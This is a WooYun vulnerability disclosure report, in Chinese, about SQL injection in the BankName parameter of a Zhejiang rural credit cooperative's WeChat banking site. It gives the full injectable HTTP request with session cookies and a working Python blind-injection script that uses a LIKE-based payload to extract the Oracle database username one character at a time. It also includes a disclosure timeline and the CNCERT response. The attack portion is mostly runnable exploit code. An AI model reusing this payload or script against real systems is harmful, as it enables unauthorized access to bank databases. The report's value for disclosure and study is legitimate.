浙江农村信用社某站Oracle注入漏洞

编号215095
Urlhttp://www.wooyun.org/bug.php?action=view&id=215095
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题浙江农村信用社某站Oracle注入漏洞
漏洞类型SQL注射漏洞
厂商浙江农信
白帽子Looke
提交日期2016-06-01 16:17:00
公开日期2016-07-18 10:40:00
修复时间(not set)
确认时间2016-06-03 00:00:00
Confirm Spend2
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
RT
漏洞细节

浙江农信微信服务

000.png


00.png


漏洞地址:

POST /pwxweb/BankList.do HTTP/1.1
Host: **.**.**.**
Connection: close
Content-Length: 160
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0.1; zh-cn; MI NOTE LTE Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.85 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://**.**.**.**/pwxweb/BankQuery.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
Cookie: ZJ96596_USER_SESSION=791238e2-8298-4af9-99cf-2c1cf755265d; ZJ96596_USER_TOKEN=791238e2-8298-4af9-99cf-2c1cf755265d; JSESSIONID=t6bBXTNWwRVr1T2LLNDj8cfgmLkrmPy0gj0pp7qpxY6HcLg1StH1!810861580
_viewReferer=custom%2FBankQuery&CITY_NAME=&TOWN_NAME=&BankName=%E6%94%AF%E8%A1%8C&Locat_X=0&Locat_Y=0&Type=01


BankName存在注入

当前用户名长度.png

POC

上脚本跑,得到最终用户名为:WEIXIN__

用户名.png


脚本:

import requests
headers={"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.12860.10 Safari/537.36"}
url="http://**.**.**.**/pwxweb/BankList.do"
payloads=list('[email protected]_.')
user=""
for i in range(1,9):
for str in payloads:
body="_viewReferer=custom%2FBankQuery&CITY_NAME=&TOWN_NAME=&BankName=%E6%94%AF%E8%A1%8C%'%0aand%0auser%0alike%0a'"+user+str+"%'%0aand%0a'1'like'1&Locat_X=0&Locat_Y=0&Type=01"
r=requests.post(url=url,data=body,headers=headers)
print ".",
if(len(r.text)>10000):
user+=str;
print "\nOralce_user is:",user
break;

修复方案

过滤

状态信息 2016-06-01: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开
厂商回复CNVD确认并复现所述情况,已经转由CNCERT向银行业信息化主管部门通报,并抄报浙江分中心协助处置,由其后续协调网站管理单位处置.
回应信息危害等级:中漏洞Rank:10 确认时间:2016-06-03 10:34